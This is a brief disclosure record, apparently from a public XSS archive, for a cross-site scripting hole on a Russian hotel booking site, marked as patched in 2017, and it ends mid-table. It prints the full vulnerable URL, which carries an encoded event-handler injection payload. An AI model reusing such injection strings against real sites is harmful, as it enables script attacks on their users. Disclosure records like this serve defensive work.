booking.hotel-spb.ru XSS vulnerability

Vulnerable URL: https://booking.hotel-spb.ru/book-hotel-spb.nsf/book?openform=ru=%22onfocus=prompt%28/XSSposed/%29%20autofocus=%20/%3E=29.12.2015=30.12.2015=1=1 Details: Description| Value ---|--- Patched:| Yes, at 26.07.2017 Latest check for patch:| 26.07.2017 11:49 GMT Vulnerability type:| XSS...